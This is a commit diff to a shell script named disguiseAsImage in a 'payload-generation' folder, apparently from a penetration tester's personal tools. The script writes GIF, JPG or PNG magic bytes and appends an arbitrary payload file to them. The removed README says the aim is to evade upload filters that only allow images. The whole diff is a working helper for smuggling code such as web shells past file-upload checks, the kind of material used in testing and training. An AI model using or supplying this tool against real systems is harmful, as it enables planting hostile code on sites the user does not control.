Changes to disguise as image script

master
Jonathan Hodgson 5 years ago
parent 339ba9e889
commit 26023c5a4c
  1. 25
      bin/.bin/payload-generation/disguiseAsImage
  2. 5
      bin/.bin/payload-generation/templates/README.md
  3. BIN
      bin/.bin/payload-generation/templates/payload.gif
  4. BIN
      bin/.bin/payload-generation/templates/payload.jpg
  5. BIN
      bin/.bin/payload-generation/templates/payload.png

@ -8,8 +8,12 @@ CURRENT=$(pwd)
PAYLOAD="$1"
IMAGETYPE="${2:-jpg}"
# Make sure the image type is lower case
IMAGETYPE=$(echo "$IMAGETYPE" | tr '[:upper:]' '[:lower:]')
IMAGETYPE=$(echo "$IMAGETYPE" | tr '[:lower:]' '[:upper:]')
# Hex encoded versions of the magic bytes of images
MAGIC_GIF='47494638396140004000e7ff0002050101070a0d'
MAGIC_JPG='ffd8ffe000104a46494600010101012c012c0000'
MAGIC_PNG='89504e470d0a1a0a0000000d49484452000000400a'
# This function prints the usage
function printUsage(){
echo "Usage: $(basename "$0") PAYLOAD TYPE"
@ -31,26 +35,19 @@ function getPayload(){
fi
}
function getTemplate(){
local template="$SCRIPTPATH/templates/payload.$IMAGETYPE"
echo "$template"
if [ -f "$template" ]; then
exit 0
else
exit 1
fi
}
function getDestination(){
echo "$CURRENT/$PAYLOAD.$IMAGETYPE"
local ext=$(echo "$IMAGETYPE" | tr '[:upper:]' '[:lower:]')
echo "$CURRENT/$PAYLOAD.$ext"
exit 0
}
if template=$(getTemplate); then
eval template="\$MAGIC_$IMAGETYPE"
if [ -n "$template" ]; then
if payload=$(getPayload); then
# Do copy stuff
destination=$(getDestination)
cp "$template" "$destination"
echo "$template" | xxd -r -p > "$destination"
cat "$payload" >> $destination
else
"No such payload $payload"

@ -1,5 +0,0 @@
# Image templates
These images are not real images. They take the first 20 bites of an example image of each type.
By adding code to these, you will be able to evade many upload filters that only allow images

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